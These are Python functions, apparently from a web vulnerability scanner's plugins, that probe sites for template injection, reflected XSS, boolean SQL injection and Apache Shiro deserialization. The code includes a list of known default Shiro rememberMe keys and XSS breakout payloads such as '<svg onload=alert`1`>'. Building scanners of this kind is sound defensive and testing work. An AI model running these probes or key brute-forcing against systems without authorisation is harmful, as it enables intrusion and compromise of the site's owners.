def req(self, position, params, headers=None): r = False if headers is None: headers = self.requests.headers if position == PLACE.GET: r = requests.get(self.requests.netloc, params=params, headers=headers) elif position == PLACE.POST: r = requests.post(self.requests.url, data=params, headers=headers) elif position == PLACE.COOKIE: headers = self.requests.headers if 'Cookie' in headers: del headers["Cookie"] if 'cookie' in headers: del headers["cookie"] if isinstance(params, dict): headers["Cookie"] = url_dict2str(params, PLACE.COOKIE) else: headers["Cookie"] = params if self.requests.method == HTTPMETHOD.GET: r = requests.get(self.requests.url, headers=headers) elif self.requests.method == HTTPMETHOD.POST: r = requests.post(self.requests.url, data=self.requests.post_data, headers=headers, cookies=params) elif position == PLACE.URI: r = requests.get(params, headers=self.requests.headers) return r
def test_ssti(self, data, k, positon): randnum1 = random.randint(1000, 10000) randnum2 = random.randint(8888, 20000) checksum = str(randnum1 * randnum2) ssti_payloads = self.getSSTIPayload(randnum1, randnum2) for payload in ssti_payloads: data[k] = payload # 不编码请求 r1 = self.req(positon, url_dict2str(data, positon)) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} 不编码payload".format(payload, checksum), "payload": payload } # url编码请求 r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} url编码payload".format(payload, checksum), "payload": payload } # html编码请求 data[k] = html.escape(data[k]) r1 = self.req(positon, data) if checksum in r1.text: return { "request": r1.reqinfo, "response": generateResponse(r1), "desc": "payload:{} 会回显{} html编码payload".format(payload, checksum), "payload": payload }
def _check_key(self): keys = [ 'kPH+bIxk5D2deZiIxcaaaA==', '4AvVhmFLUs0KTA3Kprsdag==', 'WkhBTkdYSUFPSEVJX0NBVA==', 'RVZBTk5JR0hUTFlfV0FPVQ==', 'U3ByaW5nQmxhZGUAAAAAAA==', 'cGljYXMAAAAAAAAAAAAAAA==', 'd2ViUmVtZW1iZXJNZUtleQ==', 'fsHspZw/92PrS3XrPW+vxw==', 'sHdIjUN6tzhl8xZMG3ULCQ==', 'WuB+y2gcHRnY2Lg9+Aqmqg==', 'ertVhmFLUs0KTA3Kprsdag==', '2itfW92XazYRi5ltW0M2yA==', '6ZmI6I2j3Y+R1aSn5BOlAA==', 'f/SY5TIve5WWzT4aQlABJA==', 'Jt3C93kMR9D5e8QzwfsiMw==', 'aU1pcmFjbGVpTWlyYWNsZQ==', ] for key in keys: payload = self.generator_payload(key) reqHeader = self.requests.headers if "Cookie" not in reqHeader: reqHeader["Cookie"] = "" _cookie = paramToDict(reqHeader["Cookie"], place=PLACE.COOKIE) _cookie["rememberMe"] = payload reqHeader["Cookie"] = url_dict2str(_cookie, PLACE.COOKIE) req = None if self.requests.method == HTTPMETHOD.GET: req = requests.get(self.requests.url, headers=reqHeader) elif self.requests.method == HTTPMETHOD.POST: req = requests.post(self.requests.url, data=self.requests.post_data, headers=reqHeader) if req and "deleteMe" not in req.headers.get('Set-Cookie', ''): result = ResultObject(self) result.init_info(self.requests.url, "Shiro Key发现", VulType.CMD_INNJECTION) result.add_detail("payload探测", req.reqinfo, generateResponse(req), "Cookie中rememberMe可以被反序列化", "rememberMe", payload, PLACE.COOKIE) self.success(result) return True return False
def audit(self): respHeader = self.response.headers isShiro = False if "deleteMe" in respHeader.get('Set-Cookie', ''): isShiro = True result = ResultObject(self) result.init_info(self.requests.url, "Shiro框架发现", VulType.BASELINE) result.add_detail("payload探测", self.requests.raw, self.response.raw, "在返回的cookie中发现了deleteMe标记", "", "", PLACE.GET) self.success(result) if WEB_PLATFORM.JAVA not in self.response.programing and conf.level < 2 and not isShiro: return if not isShiro: # 如果不是shiro框架,检测一下 reqHeader = self.requests.headers if "Cookie" not in reqHeader: reqHeader["Cookie"] = "" _cookie = paramToDict(reqHeader["Cookie"], place=PLACE.COOKIE) _cookie["rememberMe"] = "2" reqHeader["Cookie"] = url_dict2str(_cookie, PLACE.COOKIE) req = None if self.requests.method == HTTPMETHOD.GET: req = requests.get(self.requests.url, headers=reqHeader) elif self.requests.method == HTTPMETHOD.POST: req = requests.post(self.requests.url, data=self.requests.post_data, headers=reqHeader) if req and "deleteMe" in req.headers.get('Set-Cookie', ''): isShiro = True result = ResultObject(self) result.init_info(self.requests.url, "Shiro框架发现", VulType.BASELINE) result.add_detail( "payload探测", req.reqinfo, generateResponse(req), "在cookie中加入rememberMe=1,在返回cookie发现了deleteMe标记,可尝试爆破shiro的key", "", "", PLACE.GET) self.success(result) # 爆破 if isShiro: self._check_key()
def audit(self): parse_params = set(getParamsFromHtml(self.response.text)) resp = self.response.text params_data = {} self.init() iterdatas = [] if self.requests.method == HTTPMETHOD.GET: parse_params = (parse_params | TOP_RISK_GET_PARAMS) - set( self.requests.params.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.params) resp = requests.get(self.requests.netloc, params=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) elif self.requests.method == HTTPMETHOD.POST: parse_params = (parse_params) - set(self.requests.post_data.keys()) for key in parse_params: params_data[key] = random_str(6) params_data.update(self.requests.post_data) resp = requests.post(self.requests.url, data=params_data, headers=self.requests.headers).text iterdatas = self.generateItemdatas(params_data) for origin_dict, positon in iterdatas: # 先不支持uri上的xss,只支持get post cookie上的xss if positon == PLACE.URI: continue for k, v in origin_dict.items(): v = unquote(v) if v not in resp: continue data = copy.deepcopy(origin_dict) # 探测回显 xsschecker = "0x" + random_str(6, string.digits + "abcdef") data[k] = xsschecker r1 = self.req(positon, data) if not re.search(xsschecker, r1.text, re.I): continue html_type = r1.headers.get("Content-Type", "").lower() XSS_LIMIT_CONTENT_TYPE = conf.XSS_LIMIT_CONTENT_TYPE if XSS_LIMIT_CONTENT_TYPE and 'html' not in html_type: continue # 反射位置查找 locations = SearchInputInResponse(xsschecker, r1.text) if len(locations) == 0: # 找不到反射位置,找下自己原因? flag = random_str(5) payload = "<{}//".format(flag) data[k] = payload req = self.req(positon, data) if payload in req.text: self.result.add_detail( "html代码未转义", req.reqinfo, generateResponse(req), "可使用<svg onload=alert`1`// 进行攻击测试,注意返回格式为:" + html_type, k, data[k], positon) for item in locations: _type = item["type"] details = item["details"] if _type == "html": if details["tagname"] == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse( payload, req.text) for _item in _locations: if payload in _item["details"][ "content"] and _item["details"][ "tagname"] == "style": self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 expression(alert(1))", k, data[k], positon) break flag = random_str(7) payload = "</{}><{}>".format( random_upper(details["tagname"]), flag) truepayload = "</{}>{}".format( random_upper(details["tagname"]), "<svg onload=alert`1`>") data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}".format( details["tagname"], truepayload, html_type), k, data[k], positon) break elif _type == "attibute": if details["content"] == "key": # test html flag = random_str(7) payload = "><{}".format(flag) truepayload = "><svg onload=alert`1`>" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "<{}>可被闭合,可使用{}进行攻击测试,注意返回格式为:{}". format(details["tagname"], truepayload, html_type), k, data[k], positon) break # test attibutes flag = random_str(5) payload = flag + "=" data[k] = payload req = self.req(positon, data) _locations = SearchInputInResponse(flag, req.text) for i in _locations: for _k, v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "可自定义任意标签事件", req.reqinfo, generateResponse(req), "可以自定义类似 'onmouseover=prompt(1)'的标签事件,注意返回格式为:" + html_type, k, payload, positon) break else: # test attibutes flag = random_str(5) for _payload in ["'", "\"", ""]: payload = _payload + flag + "=" + _payload truepayload = "{payload} onmouseover=prompt(1){payload}".format( payload=_payload) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: for _k, _v in i["details"]["attibutes"]: if _k == flag: self.result.add_detail( "引号可被闭合,可使用其他事件造成xss", req.reqinfo, generateResponse(req), "可使用payload:{},注意返回格式为:{}". format(truepayload, html_type), k, payload, positon) break # test html flag = random_str(7) for _payload in [r"'><{}>", "\"><{}>"]: payload = _payload.format(flag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html标签可被闭合", req.reqinfo, generateResponse(req), "可测试payload:{}".format( _payload.format( "svg onload=alert`1`")) + ",返回格式为:" + html_type, k, data[k], positon) break # 针对特殊属性进行处理 specialAttributes = [ 'srcdoc', 'src', 'action', 'data', 'href' ] # 特殊处理属性 keyname = details["attibutes"][0][0] tagname = details["tagname"] if keyname in specialAttributes: flag = random_str(7) data[k] = flag req = self.req(positon, data) _occerens = SearchInputInResponse( flag, req.text) for i in _occerens: if len(i["details"]["attibutes"]) > 0 and i["details"]["attibutes"][0][ 0] == keyname and \ i["details"]["attibutes"][0][1] == flag: truepayload = flag if i["details"]["attibutes"][0][ 0] in specialAttributes: truepayload = "javascript:alert(1)" self.result.add_detail( "值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,payload:{},注意返回格式为:{}" .format(keyname, truepayload, html_type), k, data[k], positon) break elif keyname == "style": payload = "expression(a({}))".format( random_str(6, string.ascii_lowercase)) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for _item in _occerens: if payload in str(_item["details"]) and len(_item["details"]["attibutes"]) > 0 and \ _item["details"]["attibutes"][0][0] == keyname: self.result.add_detail( "IE下可执行的表达式", req.reqinfo, generateResponse(req.text), "IE下可执行的表达式 payload:expression(alert(1))", k, data[k], positon) break elif keyname.lower() in XSS_EVAL_ATTITUDES: # 在任何可执行的属性中 payload = random_str(6, string.ascii_lowercase) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse( payload, req.text) for i in _occerens: _attibutes = i["details"]["attibutes"] if len(_attibutes) > 0 and _attibutes[0][ 1] == payload and _attibutes[0][ 0].lower() == keyname.lower(): self.result.add_detail( "事件的值可控", req.reqinfo, generateResponse(req), "{}的值可控,可能被恶意攻击,注意返回格式为:{}".format( keyname, html_type), k, data[k], positon) break elif _type == "comment": flag = random_str(7) for _payload in ["-->", "--!>"]: payload = "{}<{}>".format(_payload, flag) truepayload = payload.format( _payload, "svg onload=alert`1`") data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["tagname"] == flag: self.result.add_detail( "html注释可被闭合", req.reqinfo, generateResponse(req), "html注释可被闭合 测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break elif _type == "script": # test html flag = random_str(7) script_tag = random_upper(details["tagname"]) payload = "</{}><{}>{}</{}>".format( script_tag, script_tag, flag, script_tag) truepayload = "</{}><{}>{}</{}>".format( script_tag, script_tag, "prompt(1)", script_tag) data[k] = payload req = self.req(positon, data) _occerens = SearchInputInResponse(flag, req.text) for i in _occerens: if i["details"]["content"] == flag and i[ "details"]["tagname"].lower( ) == script_tag.lower(): self.result.add_detail( "可以新建script标签执行任意代码", req.reqinfo, generateResponse(req), "可以新建script标签执行任意代码 测试payload:{},注意返回格式为:{}" .format(truepayload, html_type), k, data[k], positon) break # js 语法树分析反射 source = details["content"] _occurences = SearchInputInScript(xsschecker, source) for i in _occurences: _type = i["type"] _details = i["details"] if _type == "InlineComment": flag = random_str(5) payload = "\n;{};//".format(flag) truepayload = "\n;{};//".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js单行注释bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "BlockComment": flag = "0x" + random_str(4, "abcdef123456") payload = "*/{};/*".format(flag) truepayload = "*/{};/*".format('prompt(1)') data[k] = payload resp = self.req(positon, data).text for _item in SearchInputInResponse(flag, resp): if _item["details"]["tagname"] != "script": continue resp2 = _item["details"]["content"] output = SearchInputInScript(flag, resp2) for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "js块注释可被bypass", req.reqinfo, generateResponse(req), "js单行注释可被\\n bypass,注意返回格式为:" + html_type.format(truepayload), k, data[k], positon) break elif _type == "ScriptIdentifier": self.result.add_detail( "可直接执行任意js命令", req.reqinfo, generateResponse(req), "ScriptIdentifier类型 测试payload:prompt(1);//,注意返回格式为:" + html_type, k, data[k], positon) elif _type == "ScriptLiteral": content = _details["content"] quote = content[0] flag = random_str(6) if quote == "'" or quote == "\"": payload = '{quote}-{rand}-{quote}'.format( quote=quote, rand=flag) truepayload = '{quote}-{rand}-{quote}'.format( quote=quote, rand="prompt(1)") else: flag = "0x" + random_str(4, "abcdef123456") payload = flag truepayload = "prompt(1)" data[k] = payload resp = self.req(positon, data).text resp2 = None for _item in SearchInputInResponse( payload, resp): if payload in _item["details"][ "content"] and _item[ "type"] == "script": resp2 = _item["details"]["content"] if not resp2: continue output = SearchInputInScript(flag, resp2) if output: for _output in output: if flag in _output["details"][ "content"] and _output[ "type"] == "ScriptIdentifier": self.result.add_detail( "script脚本内容可被任意设置", req.reqinfo, generateResponse(req), "测试payload:{},注意返回格式为:{}". format(truepayload, html_type), k, data[k], positon) break # ssti检测 randnum1 = random.randint(50, 500) randnum2 = random.randint(80, 400) checksum = str(randnum1 * randnum2) ssti_payloads = self.getSSTIPayload(randnum1, randnum2) for payload in ssti_payloads: data[k] = payload # 不编码请求 r1 = self.req(positon, url_dict2str(data, positon)) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} 不编码payload".format( payload, checksum), k, payload, positon) self.success(result) # url编码请求 r1 = self.req(positon, data) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} url编码payload".format( payload, checksum), k, payload, positon) self.success(result) # html编码请求 r1 = self.req(positon, data) if checksum in r1.text: result = self.new_result() result.init_info(self.requests.url, "SSTI模板注入", VulType.XSS) result.add_detail( "payload请求", r1.reqinfo, generateResponse(r1), "payload:{} 会回显{} html编码payload".format( payload, checksum), k, payload, positon) self.success(result) if len(self.result.detail) > 0: self.success(self.result)
def inject(self, params, positon, k, payload_false, payload_true): data = copy.deepcopy(params) is_inject = False data[k] = payload_false r2 = self.req(positon, url_dict2str(data, positon)) falsePage = self.removeDynamicContent(r2.text) try: self.seqMatcher.set_seq1(self.resp_str) self.seqMatcher.set_seq2(falsePage) ratio_false = round(self.seqMatcher.quick_ratio(), 3) if ratio_false == 1.0: return False except (MemoryError, OverflowError): return False # true page data[k] = payload_true r = self.req(positon, url_dict2str(data, positon)) truePage = self.removeDynamicContent(r.text) if truePage == falsePage: return False try: self.seqMatcher.set_seq1(self.resp_str or "") self.seqMatcher.set_seq2(truePage or "") ratio_true = round(self.seqMatcher.quick_ratio(), 3) except (MemoryError, OverflowError): return False if ratio_true > self.UPPER_RATIO_BOUND and abs( ratio_true - ratio_false) > self.DIFF_TOLERANCE: if ratio_false <= self.UPPER_RATIO_BOUND: is_inject = True if not is_inject and ratio_true > 0.68 and ratio_true > ratio_false: originalSet = set( getFilteredPageContent(self.resp_str, True, "\n").split("\n")) trueSet = set( getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set( getFilteredPageContent(falsePage, True, "\n").split("\n")) if len(originalSet - trueSet) <= 2 and trueSet != falseSet: candidates = trueSet - falseSet if len(candidates) > 0: is_inject = True # if candidates: # candidates = sorted(candidates, key=len) # for candidate in candidates: # if re.match(r"\A[\w.,! ]+\Z", # candidate) and ' ' in candidate and candidate.strip() and len( # candidate) > 10: # is_inject = True # break if is_inject: ret = [] ret.append({ "request": r.reqinfo, "response": generateResponse(r), "key": k, "payload": payload_true, "position": positon, "desc": "发送True请求包与原网页相似度:{}".format(ratio_true) }) ret.append({ "request": r2.reqinfo, "response": generateResponse(r2), "key": k, "payload": payload_false, "position": positon, "desc": "发送False请求包与原网页相似度:{}".format(ratio_false) }) return ret else: return False